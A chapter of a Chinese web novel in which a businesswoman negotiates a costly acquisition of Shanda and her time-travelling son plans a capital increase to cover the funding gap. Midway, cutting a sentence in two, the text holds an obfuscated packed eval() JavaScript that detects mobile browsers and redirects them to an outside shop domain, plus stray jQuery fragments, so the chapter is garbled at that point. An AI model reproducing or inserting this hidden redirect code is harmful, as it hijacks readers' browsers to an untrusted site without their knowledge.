谈判停了下来,密闭的会议室里安静得有些压抑。
宁慧心手指轻轻搭在会议桌面,没有说话,脑子里却飞快地算账。现在美元兑人民币汇率大概八点二,两百万美元砸下来,折合人民币足足一千六百四十万。
她心里快速捋了一遍家底:公司账上趴着的流动资金只有四百八十多万。这次带去上海备用的一千万,里面有五百二十万都是家里东拼西凑拿出来的私钱,根本不是公司公款。就算把所有钱全部堆上去,一分不留,距离成交价依旧差出六百多万的大坑。
这不是小数目,临时拆借根本顶不住,稍有犹豫,这次筹备了许久的收购大概率就要黄掉。
对面的钱时畅看着低头沉思的宁慧心,心里也没了之前的底气。两百万美元真是他能压下来的最低价格,再往下砍,他根本没法跟总部、跟叶城民交代。
他现在的想法很简单:这项目本身就是个烫手山芋,能顺利脱手、平稳了结,就万事大吉。
沉默拉扯了好一会儿,宁慧心才缓缓抬头,语气拿捏得很稳,不硬不软:“钱总,两百万美元溢价确实不低,我没法当场拍板。得回去跟股东商量一下,也麻烦你们内部再协调看看,能不能稍微松一点。”
钱时畅闻言微微点头,紧绷的肩膀悄然放松。只要还有协商余地、对方没有彻底否决,这事就还有着落,总比彻底谈崩、无人接盘要好得多。
他双手交叉放在桌上,语气半真半假:“宁总,咱们敞开说。中华网手里项目多,亏几个很正常。要不是看你们诚意够、真心想接,这个烂摊子我们干脆就放着烂到底,根本不会反复谈。”
“所以价格真的钉死了,是董事会定的死规矩,我改不了。”
宁慧心面上不动声色,心里却瞬间抓到了漏洞。
钱时畅咬死价格不能动,说白了就是总价没得谈,但付款时间、付款方式、交割细节,未必没有松动空间。
眼下最要命的不是谈判条件,是实打实的资金缺口。只要钱能凑齐,后面一切都好商量。
想通这一点,宁慧心不再纠结价格,干脆利落起身抬手:“明白。我们内部商议决策后,第一时间和您对接。”
钱时畅立刻起身回握,掌心力道松弛,脸上终于露出连日来最轻松的笑容:“好,我静候宁总的好消息。”
对他来说,这块悬着的心病,总算快要落地了。
三人起身离场,走出中华网气派的办公大楼,步入街边微凉的风里,紧绷的神经才稍稍舒缓。一行人回到提前临时租用的办公场地,刚关好办公室大门,董习君就再也按捺不住心底的疑惑,眉头紧锁,语气带着明显的不解。
在董习君眼里,这笔投资完全离谱。盛大持续亏损、看不到盈利希望,账面数据一团糟,怎么看都是累赘,根本撑不起一千六百多万的估值。
他憋了一路,回到临时办公室终于忍不住开口:“宁总,恕我直言,这个价格太离谱了,完全不符合投资逻辑……我们真的要做这单?”
宁慧心余光扫到一旁的刘健平,外人在场,很多深层布局不方便摊开说。她只能压下心思,轻轻叹了口气:“我再好好想想。”
简单一句回应,巧妙结束了这个话题。她说完便转身走进独立办公室,轻轻带上房门,将外界的疑惑与喧嚣尽数隔绝。
刘健平是个通透人,一看这架势就知道两人有私话要聊,当即笑着摆手:“董哥,没别的事我先撤了,有事随时叫我。”
“好,刘总慢走。”董习君应声相送。
送走刘健平,董习君立刻敲门进屋,顺手把门带上,满脸困惑:“宁总,我实在想不通,盛大现在这状况,根本不值这个价,您为什么非要拿?”
“坐。”宁慧心抬手示意,语气笃定,没有半点犹豫,“董老师,我跟你说实话,盛大这六成股份,我一定要拿。”
这句话落地,董习君的疑惑更重了。他深耕行业多年,看过无数项目起落,始终看不出这家持续亏损的互联网小公司,究竟藏着什么值得重金入局的潜力。
宁慧心看得出他的不解,但未来走势这种事没法解释,只能暂且压下:“原因你以后会清楚。现在你帮我盯紧后续流程就行。价格定死了没得谈,但付款方式、周期可以磨一磨。”
“最重要的是股权交割,每一项手续都要查细、查透,确保我们拿到的股份干干净净,没有任何隐性纠纷,绝对不能花钱买麻烦。”
她最怕的就是钱花出去,对方在股权手续上动手脚,后续扯皮不断、纠纷缠身。这种专业细致的活儿,只能交给董习君来把关。
董习君依旧心里存疑,但他做事向来靠谱。老板已经定了方向,他不会再胡乱质疑,只想着把手里的活儿做扎实。
而且行业里本来就是这样,很多日后爆火的公司,初期全是不被看好的。说不定盛大就是那匹黑马。
他当即点头:“您放心,法务、交割、风控我全程跟进,保证不出一点纰漏。”
工作安排妥当,宁慧心稍稍松了口气,可转瞬之间,那巨大的资金缺口又压得她心头发沉。
这笔钱靠常规周转根本填不上,眼下能帮她破局的,只有叶子安。
当天下午,航班落地豫都。宁慧心出了机场,一刻都没耽误,直接让司机驱车回家,满心都是资金难题。
到家时天色已晚,叶子安还没放学。院子冷冷清清的,她也没心思休息,简单收拾一下做好晚饭,坐在堂屋静静等着儿子回来。
晚上八点半,夜色彻底黑透。叶子安放学走到家门口,看见院门虚掩着,心里微微纳闷。
“老爸,回来了?”他推开院门随口喊了一声。
话音刚落,一道熟悉温柔的身影从堂屋走出。灯光映照下,是连日奔波沪上的母亲宁慧心。
叶子安脚步一顿,满脸诧异:“老妈?你不是在上海谈项目吗?怎么突然回来了?”
宁慧心抬眼看他,脸上一点笑意都没有,眉眼沉甸甸的:“儿子,快进来,妈这次遇上麻烦了。”
她上前一步,伸手拉住叶子安的手腕,将他拽进屋内,随手关上屋门,将外界喧嚣隔绝。
叶子安被她凝重的神色搞得心里一紧,有点摸不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785547|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着头脑。不就是收购一家亏损小公司吗,能出什么大问题?
“怎么了妈?谈判不顺利?”
宁慧心叹了口气,把上海谈判的经过、钱时畅的底线报价,还有最终敲定的两百万美元价格,一五一十讲了一遍,最后重点说了那笔吓人的资金缺口。
叶子安听完,沉默了好一会儿,眼底掠过一丝无奈。
他前世看到的资讯终究不够细致。原本六月份中华网才会甩卖盛大股份,可因为母亲提前入局,时间线被打乱了。对方宁愿小幅亏一点,也不肯低价让利,硬生生把价格抬到了两百万美元。
更关键的是,这笔机缘绝对不能放弃。
但这机会他绝对不能放。这是近两年互联网最稳的风口,错过了就再也没有。他不敢赌,也赌不起,只能咬牙接下这个偏高的成本。
沉默许久,叶子安抬眸看向愁容满面的母亲,语气笃定:“妈,家里私钱够撑住,但公司账面差得太多。这事不能我们自己扛,得拉着姜叔一起增资扩股,把盘子做正规。”
宁慧心皱着眉顾虑道:“你姜叔手里有钱,但基本全砸在商业综合体项目上了,短期内根本抽不出来。”
“不用借。”叶子安认真解释,“妈,咱们公司股权太简单、体量太小,做不了大项目。想要走远,第一步就是抬升注册资本、正规化运作。”
“现在公司总资产883万,收购缺口1200万。我的方案是直接把注册资本拉到3000万。多出的两千多万资金缺口,按股东持股比例各自补齐。”
“姜叔占股两成,补423万;你占股八成,补1693万。全员增资,把公司彻底盘活。”
一千六百九十三万!
一千六百多万的增补金额,让宁慧心心头一震,当场愣住:“这么多?家里哪有这么多流动资金?”
叶子安语气平静地给她算账:“家底是够的。银广夏回款80万,你的书籍版税结算了1621万,两项加起来刚好够你的增资份额。真急用,广州几套房子还能抵押,完全稳得住。”
“注册资本拉到三千万,咱们公司就彻底摆脱小作坊模式,以后再做大投资、接大项目,再也不会被账面资金卡死。”
他顺势抛出下一步规划:“而且盛大只是第一步。等这单落地,我们马上切入通信器材赛道。这个行业周转快、利润高,半年就能回本,一年能翻八到十五倍,三个月就能看到分红。后面我打算亲自去广东对接资源。”
一连串惊人的布局和回报率,听得宁慧心心神震荡。儿子的眼界和格局,早已远远超出普通人的认知。
她还是有些顾虑:“可你姜叔未必愿意掏这四百多万,万一他怕风险不肯配合怎么办?”
“所以这事得我爸出面。”叶子安轻轻苦笑,“爸和姜叔交情深、互相信任,比我们母子去谈,成功率高太多了。”
“妈,你现在给爸打电话,让他赶紧回来。这次增资必须由他亲自出面,稳住姜叔,把合作敲定。”
宁慧心沉默片刻,权衡再三,终于点头,拿起手机拨通了叶舟的电话。